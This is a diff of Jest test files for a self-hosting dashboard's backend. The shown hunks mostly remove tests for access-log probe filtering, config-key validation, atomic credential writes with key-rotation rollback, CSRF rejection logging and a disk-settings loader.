|
|
||||||
status: 401,
|
|
||||||
duration: 0.004,
|
|
||||||
}) + '\n');
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const [ev] = await waitForEvents(1);
|
|
||||||
expect(ev.actor).toBe('198.51.100.9'); // TCP peer, not the spoofable header
|
|
||||||
});
|
|
||||||
|
|
||||||
test('IPv6 loopback ::1 with curl UA → DROPPED (env-listed self IP)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '::1', ua: 'curl/8.5.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForQuiet();
|
|
||||||
expect(events.length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DashCaddy-* probe UA from a NON-self IP is still dropped (own binaries, unconditional)', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '172.17.0.4', ua: 'DashCaddy-HealthCheck/1.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
const events = await waitForQuiet();
|
|
||||||
expect(events.length).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('prefix future-proofing: curl/10.0 from self IP → DROPPED; curl-impersonate NOT dropped', async () => {
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '127.0.0.1', ua: 'curl/10.0' }));
|
|
||||||
fs.appendFileSync(ACCESS_LOG, mkLine({ ip: '198.51.100.10', ua: 'curl-impersonate-chrome/1.0' }));
|
|
||||||
worker = startCaddyWorker({ log: fakeLogger });
|
|
||||||
// curl-impersonate does not match the 'curl/' prefix; kept from any IP.
|
|
||||||
const events = await waitForEvents(1);
|
|
||||||
expect(events.length).toBe(1);
|
|
||||||
expect(events[0].metadata.user_agent).toBe('curl-impersonate-chrome/1.0');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
'use strict';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Regression tests for config-schema.js KNOWN_KEYS — DC-091.
|
|
||||||
*
|
|
||||||
* Bug: license-manager.js persists config.licenseBackup (activation
|
|
||||||
* restore-on-restart) and src/config/migrations.js stamps config._version,
|
|
||||||
* but neither key was in KNOWN_KEYS — so every startup logged
|
|
||||||
* `Unknown config key "licenseBackup" / "_version" — possible typo?`
|
|
||||||
* false positives (verified in live dashcaddy-api container logs,
|
|
||||||
* 2026-08-22T23:53:54Z restart).
|
|
||||||
*
|
|
||||||
* These tests pin: (1) the live production config key set validates with
|
|
||||||
* zero unknown-key warnings, (2) genuine typos still warn, (3) the schema
|
|
||||||
* stays in sync with the first-party writer keys.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const { validateConfig } = require('../src/utilities/config-schema');
|
|
||||||
|
|
||||||
describe('config-schema KNOWN_KEYS vs first-party writers (DC-091)', () => {
|
|
||||||
// Exact key set of the live production config.json (DNS2, verified
|
|
||||||
// 2026-08-23). If a new key appears here, teach KNOWN_KEYS about it —
|
|
||||||
// or fix the writer if it's a typo.
|
|
||||||
const LIVE_CONFIG_KEYS = [
|
|
||||||
'_version', 'configurationType', 'customFavicon', 'customLogo',
|
|
||||||
'dashboardHost', 'dashboardTitle', 'dns', 'dnsServers', 'language',
|
|
||||||
'license', 'licenseBackup', 'logoPosition', 'pylon', 'setupComplete',
|
|
||||||
'timestamp', 'tld', 'updatedAt'
|
|
||||||
];
|
|
||||||
|
|
||||||
test('live production config key set produces zero unknown-key warnings', () => {
|
|
||||||
const config = {};
|
|
||||||
for (const key of LIVE_CONFIG_KEYS) {
|
|
||||||
// Minimal valid-ish values; validateConfig only cares about shape
|
|
||||||
// for these keys, and unknown-key detection is the target here.
|
|
||||||
config[key] = key === '_version' ? 2 : (key === 'dnsServers' ? {} : 'x');
|
|
||||||
}
|
|
||||||
const result = validateConfig(config);
|
|
||||||
const unknownWarnings = result.warnings.filter((w) => w.includes('Unknown config key'));
|
|
||||||
expect(unknownWarnings).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('licenseBackup and _version (first-party writer keys) do not warn', () => {
|
|
||||||
const result = validateConfig({ licenseBackup: { code: 'DC-...' }, _version: 2 });
|
|
||||||
expect(result.warnings).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('genuine typos still warn (guard against over-allowing)', () => {
|
|
||||||
const result = validateConfig({ dashboadTitle: 'typo' });
|
|
||||||
expect(result.warnings).toEqual([
|
|
||||||
'Unknown config key "dashboadTitle" — possible typo?'
|
|
||||||
]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('KNOWN_KEYS stays in sync with license-manager writer keys', () => {
|
|
||||||
// license-manager writes config.licenseBackup and config.license — both
|
|
||||||
// must be recognized. We assert via validateConfig (public surface)
|
|
||||||
// rather than importing the private KNOWN_KEYS array.
|
|
||||||
const result = validateConfig({ license: { code: 'DC-...' }, licenseBackup: { code: 'DC-...' } });
|
|
||||||
expect(result.warnings.filter((w) => w.includes('Unknown config key'))).toEqual([]);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('config-schema sync guard: migrations writer', () => {
|
|
||||||
test('_version is recognized at every migration version value', () => {
|
|
||||||
// migrations.js bumps _version 0→1→2; the key itself must never warn.
|
|
||||||
for (const v of [0, 1, 2, 99]) {
|
|
||||||
const result = validateConfig({ _version: v });
|
|
||||||
expect(result.warnings).toEqual([]);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -15,8 +15,6 @@ jest.mock('../src/security/crypto-utils', () => ({
|
|||||||
isEncrypted: jest.fn(data => typeof data === 'string' && data.startsWith('enc:')),
|
isEncrypted: jest.fn(data => typeof data === 'string' && data.startsWith('enc:')),
|
||||||
loadOrCreateKey: jest.fn(() => Buffer.alloc(32, 'k')),
|
loadOrCreateKey: jest.fn(() => Buffer.alloc(32, 'k')),
|
||||||
rotateKey: jest.fn(() => ({ oldKey: Buffer.alloc(32, 'k'), newKey: Buffer.alloc(32, 'n') })),
|
rotateKey: jest.fn(() => ({ oldKey: Buffer.alloc(32, 'k'), newKey: Buffer.alloc(32, 'n') })),
|
||||||
// DC-107 rollback support – restore old key in-process after a failed write
|
|
||||||
restoreKey: jest.fn(() => true),
|
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('proper-lockfile', () => ({
|
jest.mock('proper-lockfile', () => ({
|
||||||
@@ -25,65 +23,13 @@ jest.mock('proper-lockfile', () => ({
|
|||||||
check: jest.fn().mockResolvedValue(false),
|
check: jest.fn().mockResolvedValue(false),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// DC-106: fd-level mock exercising the canonical atomic-write path
|
|
||||||
// (openSync('wx') -> writeSync -> fsyncSync -> closeSync -> renameSync).
|
|
||||||
const mockFsState = {
|
|
||||||
files: {}, // path -> content (destination state after rename)
|
|
||||||
fdMap: new Map(), // open fd -> { p, content }
|
|
||||||
closedTmp: new Map(), // closed-but-not-yet-renamed tmp path -> content
|
|
||||||
openedWith: [], // { p, flags, mode } per openSync call
|
|
||||||
nextFd: 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
jest.mock('fs', () => ({
|
jest.mock('fs', () => ({
|
||||||
existsSync: jest.fn((p) => mockFsState.files[p] !== undefined),
|
existsSync: jest.fn().mockReturnValue(true),
|
||||||
readFileSync: jest.fn((p) => {
|
readFileSync: jest.fn().mockReturnValue('{}'),
|
||||||
if (mockFsState.files[p] === undefined) {
|
writeFileSync: jest.fn(),
|
||||||
const e = new Error(`ENOENT: ${p}`);
|
|
||||||
e.code = 'ENOENT';
|
|
||||||
throw e;
|
|
||||||
}
|
|
||||||
return mockFsState.files[p];
|
|
||||||
}),
|
|
||||||
mkdirSync: jest.fn(),
|
mkdirSync: jest.fn(),
|
||||||
// DC-105/DC-106 canonical atomic-write path (atomic-write.js).
|
|
||||||
openSync: jest.fn((p, flags, mode) => {
|
|
||||||
mockFsState.openedWith.push({ p, flags, mode });
|
|
||||||
mockFsState.nextFd += 1;
|
|
||||||
mockFsState.fdMap.set(mockFsState.nextFd, { p, content: '' });
|
|
||||||
return mockFsState.nextFd;
|
|
||||||
}),
|
|
||||||
writeSync: jest.fn((fd, content) => {
|
|
||||||
const rec = mockFsState.fdMap.get(fd);
|
|
||||||
if (!rec) throw new Error(`EBADF: fd ${fd}`);
|
|
||||||
rec.content += content;
|
|
||||||
}),
|
|
||||||
fsyncSync: jest.fn(),
|
|
||||||
closeSync: jest.fn((fd) => {
|
|
||||||
const rec = mockFsState.fdMap.get(fd);
|
|
||||||
if (rec) {
|
|
||||||
mockFsState.closedTmp.set(rec.p, rec.content);
|
|
||||||
mockFsState.fdMap.delete(fd);
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
renameSync: jest.fn((src, dst) => {
|
|
||||||
const content = mockFsState.closedTmp.has(src)
|
|
||||||
? mockFsState.closedTmp.get(src)
|
|
||||||
: mockFsState.files[src];
|
|
||||||
mockFsState.files[dst] = content;
|
|
||||||
mockFsState.closedTmp.delete(src);
|
|
||||||
delete mockFsState.files[src];
|
|
||||||
}),
|
|
||||||
unlinkSync: jest.fn(),
|
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// DC-106: mirror the production path resolution so assertions read the same
|
|
||||||
// destination the manager writes to, regardless of env overrides.
|
|
||||||
const path = require('path');
|
|
||||||
const platformPaths = require('../platform-paths');
|
|
||||||
const CREDENTIALS_FILE = process.env.CREDENTIALS_FILE
|
|
||||||
|| path.join(platformPaths.dataDir, 'credentials.json');
|
|
||||||
|
|
||||||
describe('CredentialManager', () => {
|
describe('CredentialManager', () => {
|
||||||
let credentialManager;
|
let credentialManager;
|
||||||
let fs, lockfile, keychainManager, cryptoUtils;
|
let fs, lockfile, keychainManager, cryptoUtils;
|
||||||
@@ -97,30 +43,10 @@ describe('CredentialManager', () => {
|
|||||||
keychainManager = require('../src/security/keychain-manager');
|
keychainManager = require('../src/security/keychain-manager');
|
||||||
cryptoUtils = require('../src/security/crypto-utils');
|
cryptoUtils = require('../src/security/crypto-utils');
|
||||||
|
|
||||||
// Reset mock implementations and fd-level atomic-write state
|
// Reset mock implementations
|
||||||
for (const k of Object.keys(mockFsState.files)) delete mockFsState.files[k];
|
fs.existsSync.mockReturnValue(true);
|
||||||
mockFsState.fdMap.clear();
|
fs.readFileSync.mockReturnValue('{}');
|
||||||
mockFsState.closedTmp.clear();
|
fs.writeFileSync.mockImplementation(() => {});
|
||||||
mockFsState.openedWith.length = 0;
|
|
||||||
mockFsState.nextFd = 0;
|
|
||||||
// Default world: credentials.json exists with empty payload (the previous
|
|
||||||
// mock's existsSync=true / readFileSync='{}' semantics, now truthful).
|
|
||||||
mockFsState.files[CREDENTIALS_FILE] = '{}';
|
|
||||||
fs.existsSync.mockImplementation((p) => mockFsState.files[p] !== undefined);
|
|
||||||
fs.readFileSync.mockImplementation((p) => {
|
|
||||||
if (mockFsState.files[p] === undefined) {
|
|
||||||
const e = new Error(`ENOENT: ${p}`);
|
|
||||||
e.code = 'ENOENT';
|
|
||||||
throw e;
|
|
||||||
}
|
|
||||||
return mockFsState.files[p];
|
|
||||||
});
|
|
||||||
fs.openSync.mockClear();
|
|
||||||
fs.writeSync.mockClear();
|
|
||||||
fs.fsyncSync.mockClear();
|
|
||||||
fs.closeSync.mockClear();
|
|
||||||
fs.renameSync.mockClear();
|
|
||||||
fs.unlinkSync.mockClear();
|
|
||||||
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
||||||
keychainManager.available = false;
|
keychainManager.available = false;
|
||||||
|
|
||||||
@@ -133,7 +59,7 @@ describe('CredentialManager', () => {
|
|||||||
const result = await credentialManager.store('test.key', 'secret-value');
|
const result = await credentialManager.store('test.key', 'secret-value');
|
||||||
expect(result).toBe(true);
|
expect(result).toBe(true);
|
||||||
expect(cryptoUtils.encrypt).toHaveBeenCalledWith('secret-value');
|
expect(cryptoUtils.encrypt).toHaveBeenCalledWith('secret-value');
|
||||||
expect(fs.renameSync).toHaveBeenCalled(); // DC-106: canonical write landed
|
expect(fs.writeFileSync).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('stores value in keychain when available', async () => {
|
it('stores value in keychain when available', async () => {
|
||||||
@@ -141,10 +67,9 @@ describe('CredentialManager', () => {
|
|||||||
// Need to get a fresh instance that sees available=true
|
// Need to get a fresh instance that sees available=true
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
fs = require('fs');
|
fs = require('fs');
|
||||||
for (const k of Object.keys(mockFsState.files)) delete mockFsState.files[k];
|
fs.existsSync.mockReturnValue(true);
|
||||||
mockFsState.fdMap.clear();
|
fs.readFileSync.mockReturnValue('{}');
|
||||||
mockFsState.closedTmp.clear();
|
fs.writeFileSync.mockImplementation(() => {});
|
||||||
mockFsState.openedWith.length = 0;
|
|
||||||
lockfile = require('proper-lockfile');
|
lockfile = require('proper-lockfile');
|
||||||
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
||||||
keychainManager = require('../src/security/keychain-manager');
|
keychainManager = require('../src/security/keychain-manager');
|
||||||
@@ -161,10 +86,9 @@ describe('CredentialManager', () => {
|
|||||||
keychainManager.available = true;
|
keychainManager.available = true;
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
fs = require('fs');
|
fs = require('fs');
|
||||||
for (const k of Object.keys(mockFsState.files)) delete mockFsState.files[k];
|
fs.existsSync.mockReturnValue(true);
|
||||||
mockFsState.fdMap.clear();
|
fs.readFileSync.mockReturnValue('{}');
|
||||||
mockFsState.closedTmp.clear();
|
fs.writeFileSync.mockImplementation(() => {});
|
||||||
mockFsState.openedWith.length = 0;
|
|
||||||
lockfile = require('proper-lockfile');
|
lockfile = require('proper-lockfile');
|
||||||
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
lockfile.lock.mockResolvedValue(jest.fn().mockResolvedValue());
|
||||||
keychainManager = require('../src/security/keychain-manager');
|
keychainManager = require('../src/security/keychain-manager');
|
||||||
@@ -302,7 +226,8 @@ describe('CredentialManager', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
expect(lockfile.lock).toHaveBeenCalled();
|
expect(lockfile.lock).toHaveBeenCalled();
|
||||||
const writtenData = JSON.parse(mockFsState.files[CREDENTIALS_FILE]);
|
expect(fs.writeFileSync).toHaveBeenCalled();
|
||||||
|
const writtenData = JSON.parse(fs.writeFileSync.mock.calls[0][1]);
|
||||||
expect(writtenData).toEqual({ a: 1, b: 2 });
|
expect(writtenData).toEqual({ a: 1, b: 2 });
|
||||||
expect(releaseFn).toHaveBeenCalled();
|
expect(releaseFn).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
@@ -339,7 +264,7 @@ describe('CredentialManager', () => {
|
|||||||
const result = await credentialManager.rotateEncryptionKey();
|
const result = await credentialManager.rotateEncryptionKey();
|
||||||
expect(result).toBe(true);
|
expect(result).toBe(true);
|
||||||
expect(cryptoUtils.rotateKey).toHaveBeenCalled();
|
expect(cryptoUtils.rotateKey).toHaveBeenCalled();
|
||||||
expect(fs.renameSync).toHaveBeenCalled(); // DC-106: canonical write landed
|
expect(fs.writeFileSync).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('clears cache after rotation', async () => {
|
it('clears cache after rotation', async () => {
|
||||||
@@ -359,44 +284,6 @@ describe('CredentialManager', () => {
|
|||||||
lockfile.lock.mockRejectedValue(new Error('nope'));
|
lockfile.lock.mockRejectedValue(new Error('nope'));
|
||||||
const result = await credentialManager.rotateEncryptionKey();
|
const result = await credentialManager.rotateEncryptionKey();
|
||||||
expect(result).toBe(false);
|
expect(result).toBe(false);
|
||||||
// DC-107: failure before rotateKey() must NOT trigger a rollback
|
|
||||||
expect(cryptoUtils.restoreKey).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rolls back the encryption key when the rotated write fails (DC-107)', async () => {
|
|
||||||
const releaseFn = jest.fn().mockResolvedValue();
|
|
||||||
lockfile.lock.mockResolvedValue(releaseFn);
|
|
||||||
fs.readFileSync.mockReturnValue(JSON.stringify({
|
|
||||||
'key1': { value: 'enc:tag:' + Buffer.from('secret1').toString('base64'), metadata: {} }
|
|
||||||
}));
|
|
||||||
// atomicWriteJSON fails at the rename step, AFTER rotateKey() already
|
|
||||||
// swapped the on-disk key and in-memory cache
|
|
||||||
fs.renameSync.mockImplementationOnce(() => { throw new Error('EIO: rename'); });
|
|
||||||
|
|
||||||
const result = await credentialManager.rotateEncryptionKey();
|
|
||||||
|
|
||||||
expect(result).toBe(false);
|
|
||||||
expect(cryptoUtils.rotateKey).toHaveBeenCalled();
|
|
||||||
const expectedOldHex = Buffer.alloc(32, 'k').toString('hex');
|
|
||||||
expect(cryptoUtils.restoreKey).toHaveBeenCalledTimes(1);
|
|
||||||
expect(cryptoUtils.restoreKey).toHaveBeenCalledWith(expectedOldHex);
|
|
||||||
expect(releaseFn).toHaveBeenCalled(); // lock still released
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns false without crashing when the rollback itself fails (DC-107)', async () => {
|
|
||||||
const releaseFn = jest.fn().mockResolvedValue();
|
|
||||||
lockfile.lock.mockResolvedValue(releaseFn);
|
|
||||||
fs.readFileSync.mockReturnValue(JSON.stringify({
|
|
||||||
'key1': { value: 'enc:tag:' + Buffer.from('secret1').toString('base64'), metadata: {} }
|
|
||||||
}));
|
|
||||||
fs.renameSync.mockImplementationOnce(() => { throw new Error('EIO: rename'); });
|
|
||||||
cryptoUtils.restoreKey.mockImplementationOnce(() => { throw new Error('rollback ENOSPC'); });
|
|
||||||
|
|
||||||
const result = await credentialManager.rotateEncryptionKey();
|
|
||||||
|
|
||||||
expect(result).toBe(false);
|
|
||||||
expect(cryptoUtils.restoreKey).toHaveBeenCalledTimes(1);
|
|
||||||
expect(releaseFn).toHaveBeenCalled(); // lock released even on double failure
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -439,90 +326,6 @@ describe('CredentialManager', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
describe('DC-106 canonical atomic-write migration', () => {
|
|
||||||
it('writes credentials.json via wx tmp + fsync + rename, mode 0600', async () => {
|
|
||||||
await credentialManager.store('dc106.key', 'dc106-secret');
|
|
||||||
|
|
||||||
// fsyncDir also openSync()s the parent dir (flags 'r') — filter to the
|
|
||||||
// payload tmp opens to assert on the canonical write itself.
|
|
||||||
const wxOpens = mockFsState.openedWith.filter((o) => o.flags === 'wx');
|
|
||||||
expect(wxOpens.length).toBe(1); // file pre-existed -> no ensure-create
|
|
||||||
expect(wxOpens[0].mode).toBe(0o600); // sensitive file mode preserved
|
|
||||||
expect(fs.fsyncSync).toHaveBeenCalled(); // bytes pinned before rename
|
|
||||||
expect(fs.renameSync).toHaveBeenCalled();
|
|
||||||
|
|
||||||
const [tmpSrc, dst] = fs.renameSync.mock.calls
|
|
||||||
.find((c) => c[1] === CREDENTIALS_FILE);
|
|
||||||
expect(tmpSrc).not.toBe(dst);
|
|
||||||
expect(tmpSrc).toMatch(/\.credentials\.json\.tmp-/); // canonical tmp prefix
|
|
||||||
expect(dst).toBe(CREDENTIALS_FILE);
|
|
||||||
expect(mockFsState.files[CREDENTIALS_FILE]).toBeDefined();
|
|
||||||
|
|
||||||
// No leftover tmp files: every payload tmp was renamed away
|
|
||||||
const renamedSrcs = fs.renameSync.mock.calls.map((c) => c[0]);
|
|
||||||
for (const o of wxOpens) {
|
|
||||||
expect(renamedSrcs).toContain(o.p);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('never writes plaintext secret to disk', async () => {
|
|
||||||
await credentialManager.store('dc106b.key', 'plaintext-canary-9f1a');
|
|
||||||
const raw = mockFsState.files[CREDENTIALS_FILE];
|
|
||||||
expect(raw).toBeDefined();
|
|
||||||
expect(raw).not.toContain('plaintext-canary-9f1a');
|
|
||||||
expect(raw).toContain('enc:'); // crypto-utils mock prefix
|
|
||||||
});
|
|
||||||
|
|
||||||
it('_lockedUpdate closes fd before rename (torn-write window eliminated)', async () => {
|
|
||||||
const releaseFn = jest.fn().mockResolvedValue();
|
|
||||||
lockfile.lock.mockResolvedValue(releaseFn);
|
|
||||||
mockFsState.files[CREDENTIALS_FILE] = '{}';
|
|
||||||
|
|
||||||
await credentialManager._lockedUpdate((creds) => {
|
|
||||||
creds.k = { value: 'enc:x' };
|
|
||||||
return creds;
|
|
||||||
});
|
|
||||||
|
|
||||||
// fd lifecycle: open -> write -> fsync -> close -> rename. The dir
|
|
||||||
// fsync adds a second openSync/closeSync pair — so assert on counts of
|
|
||||||
// payload operations and the GLOBAL invocation order, which jest tracks
|
|
||||||
// across mocks (invocationCallOrder).
|
|
||||||
const wxOpens = mockFsState.openedWith.filter((o) => o.flags === 'wx');
|
|
||||||
expect(wxOpens.length).toBe(1); // exactly one payload write
|
|
||||||
expect(fs.writeSync).toHaveBeenCalledTimes(1); // dir fsync writes nothing
|
|
||||||
expect(fs.renameSync).toHaveBeenCalledTimes(1);
|
|
||||||
const fsyncFirst = fs.fsyncSync.mock.invocationCallOrder[0];
|
|
||||||
const closeFirst = fs.closeSync.mock.invocationCallOrder[0];
|
|
||||||
const renameFirst = fs.renameSync.mock.invocationCallOrder[0];
|
|
||||||
expect(fsyncFirst).toBeDefined();
|
|
||||||
expect(closeFirst).toBeGreaterThan(fsyncFirst); // fsync before close
|
|
||||||
expect(renameFirst).toBeGreaterThan(closeFirst); // close before rename
|
|
||||||
expect(mockFsState.files[CREDENTIALS_FILE]).toContain('enc:x');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('_ensureFileExists creates initial {} atomically at 0600 when absent', async () => {
|
|
||||||
const releaseFn = jest.fn().mockResolvedValue();
|
|
||||||
lockfile.lock.mockResolvedValue(releaseFn);
|
|
||||||
delete mockFsState.files[CREDENTIALS_FILE]; // absent on disk
|
|
||||||
|
|
||||||
await credentialManager._lockedUpdate((c) => {
|
|
||||||
c.k = { value: 'enc:x' };
|
|
||||||
return c;
|
|
||||||
});
|
|
||||||
|
|
||||||
const wxOpens = mockFsState.openedWith.filter((o) => o.flags === 'wx');
|
|
||||||
expect(wxOpens.length).toBe(2); // ensure-created '{}' + the locked update
|
|
||||||
expect(wxOpens[0].mode).toBe(0o600);
|
|
||||||
// The ensure write staged its tmp FIRST and renamed it into place before
|
|
||||||
// the locked update renamed over it — creation itself was atomic.
|
|
||||||
expect(fs.renameSync.mock.calls[0][0]).toBe(wxOpens[0].p);
|
|
||||||
const final = JSON.parse(mockFsState.files[CREDENTIALS_FILE]);
|
|
||||||
expect(final.k.value).toBe('enc:x');
|
|
||||||
});
|
|
||||||
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('cache TTL', () => {
|
describe('cache TTL', () => {
|
||||||
it('cache entries expire after TTL', async () => {
|
it('cache entries expire after TTL', async () => {
|
||||||
credentialManager.cache.set('ttl.key', {
|
credentialManager.cache.set('ttl.key', {
|
||||||
|
|||||||
@@ -322,89 +322,6 @@ describe('CSRF Protection', () => {
|
|||||||
|
|
||||||
process.env.NODE_ENV = origEnv;
|
process.env.NODE_ENV = origEnv;
|
||||||
});
|
});
|
||||||
|
|
||||||
// DC-058: differentiate "browser auto-retry" from "real probe" by the
|
|
||||||
// presence of the X-CSRF-Token header. The 403 response is identical in
|
|
||||||
// both branches; only the stderr log tag changes.
|
|
||||||
describe('DC-058: browser-auto-retry vs real-probe log tagging', () => {
|
|
||||||
let stderrSpy;
|
|
||||||
let origEnv;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
origEnv = process.env.NODE_ENV;
|
|
||||||
process.env.NODE_ENV = 'production';
|
|
||||||
stderrSpy = jest.spyOn(process.stderr, 'write').mockImplementation(() => true);
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
process.env.NODE_ENV = origEnv;
|
|
||||||
stderrSpy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('tags missing-cookie with [CSRF-debug] when X-CSRF-Token header also present (browser auto-retry)', () => {
|
|
||||||
const { req, res, next } = createMockReqRes({
|
|
||||||
method: 'POST', path: '/api/v1/backups/schedule',
|
|
||||||
headers: { cookie: '', 'x-csrf-token': 'some-signature-attempt' }
|
|
||||||
});
|
|
||||||
csrfValidationMiddleware(req, res, next);
|
|
||||||
|
|
||||||
// 403 response unchanged
|
|
||||||
expect(res.status).toHaveBeenCalledWith(403);
|
|
||||||
expect(res.json).toHaveBeenCalledWith(
|
|
||||||
expect.objectContaining({ error: expect.stringContaining('DC-100') })
|
|
||||||
);
|
|
||||||
// Log tag is [CSRF-debug]
|
|
||||||
expect(stderrSpy).toHaveBeenCalled();
|
|
||||||
const lastWrite = stderrSpy.mock.calls[stderrSpy.mock.calls.length - 1][0];
|
|
||||||
expect(lastWrite).toContain('[CSRF-debug]');
|
|
||||||
expect(lastWrite).toContain('browser auto-retry');
|
|
||||||
expect(lastWrite).not.toMatch(/^\[CSRF\][^-]/); // not bare [CSRF]
|
|
||||||
});
|
|
||||||
|
|
||||||
it('tags missing-cookie with [CSRF] when no X-CSRF-Token header present (real probe)', () => {
|
|
||||||
const { req, res, next } = createMockReqRes({
|
|
||||||
method: 'POST', path: '/api/v1/backups/schedule',
|
|
||||||
headers: { cookie: '' }
|
|
||||||
});
|
|
||||||
csrfValidationMiddleware(req, res, next);
|
|
||||||
|
|
||||||
expect(res.status).toHaveBeenCalledWith(403);
|
|
||||||
expect(stderrSpy).toHaveBeenCalled();
|
|
||||||
const lastWrite = stderrSpy.mock.calls[stderrSpy.mock.calls.length - 1][0];
|
|
||||||
expect(lastWrite).toContain('[CSRF]');
|
|
||||||
expect(lastWrite).not.toContain('[CSRF-debug]');
|
|
||||||
expect(lastWrite).not.toContain('browser auto-retry');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('keeps [CSRF] tag when cookie present but header missing (curl probe with manual cookie)', () => {
|
|
||||||
const nonce = generateToken();
|
|
||||||
const { req, res, next } = createMockReqRes({
|
|
||||||
method: 'POST', path: '/api/v1/backups/schedule',
|
|
||||||
headers: { cookie: `${CSRF_COOKIE_NAME}=${nonce}` }
|
|
||||||
});
|
|
||||||
csrfValidationMiddleware(req, res, next);
|
|
||||||
|
|
||||||
expect(res.status).toHaveBeenCalledWith(403);
|
|
||||||
expect(stderrSpy).toHaveBeenCalled();
|
|
||||||
const lastWrite = stderrSpy.mock.calls[stderrSpy.mock.calls.length - 1][0];
|
|
||||||
expect(lastWrite).toContain('[CSRF]');
|
|
||||||
expect(lastWrite).not.toContain('[CSRF-debug]');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('headerToken is read from x-csrf-token (lowercased by Express) — lowercase header triggers [CSRF-debug]', () => {
|
|
||||||
// Express/Node lowercases all incoming header keys, so production code
|
|
||||||
// only ever sees lowercase. We test the exact code path here.
|
|
||||||
const { req, res, next } = createMockReqRes({
|
|
||||||
method: 'POST', path: '/api/v1/backups/schedule',
|
|
||||||
headers: { cookie: '', 'x-csrf-token': 'some-signature-attempt' }
|
|
||||||
});
|
|
||||||
csrfValidationMiddleware(req, res, next);
|
|
||||||
|
|
||||||
expect(res.status).toHaveBeenCalledWith(403);
|
|
||||||
const lastWrite = stderrSpy.mock.calls[stderrSpy.mock.calls.length - 1][0];
|
|
||||||
expect(lastWrite).toContain('[CSRF-debug]');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('renewCSRFToken', () => {
|
describe('renewCSRFToken', () => {
|
||||||
|
|||||||
@@ -1,213 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-048 — disk-settings-loader unit tests
|
|
||||||
*
|
|
||||||
* Covers:
|
|
||||||
* - applies persisted values to process.env (happy path)
|
|
||||||
* - explicit process.env wins over persisted file
|
|
||||||
* - missing file → no-op, no throw
|
|
||||||
* - malformed JSON → no throw, engine defaults preserved
|
|
||||||
* - non-numeric values rejected, not silently applied
|
|
||||||
* - empty/null/undefined values skipped
|
|
||||||
* - idempotent across calls (once-guard)
|
|
||||||
* - all six mapped keys land in env when persisted
|
|
||||||
*
|
|
||||||
* Run with: npx jest __tests__/disk-settings-loader.test.js
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
// Snapshot env at module load so we can restore in afterEach. We always
|
|
||||||
// UNSET the loader-managed keys (HEALTH_*, AUDIT_*, BACKUP_*, CONTAINER_STATS_*)
|
|
||||||
// at the start of each test, regardless of whether they were set at
|
|
||||||
// snapshot time, because the loader mutates process.env and stale values
|
|
||||||
// from prior tests would silently change behavior.
|
|
||||||
const LOADER_KEYS = [
|
|
||||||
'HEALTH_CHECK_INTERVAL', 'HEALTH_MAX_ENTRIES', 'HEALTH_HISTORY_RETENTION',
|
|
||||||
'AUDIT_MAX_ENTRIES', 'BACKUP_MAX_STORAGE_BYTES', 'CONTAINER_STATS_MAX_ENTRIES',
|
|
||||||
];
|
|
||||||
const ORIGINAL_ENV = Object.fromEntries(
|
|
||||||
Object.entries(process.env).filter(([k]) => LOADER_KEYS.includes(k) || k === 'DATA_DIR'),
|
|
||||||
);
|
|
||||||
|
|
||||||
function restoreEnv() {
|
|
||||||
// Loader-managed keys: ALWAYS reset to ORIGINAL_ENV state (or undefined).
|
|
||||||
// This is critical — without it, env vars set by a prior test would leak
|
|
||||||
// into the next test as "env-already-set" and the loader would skip
|
|
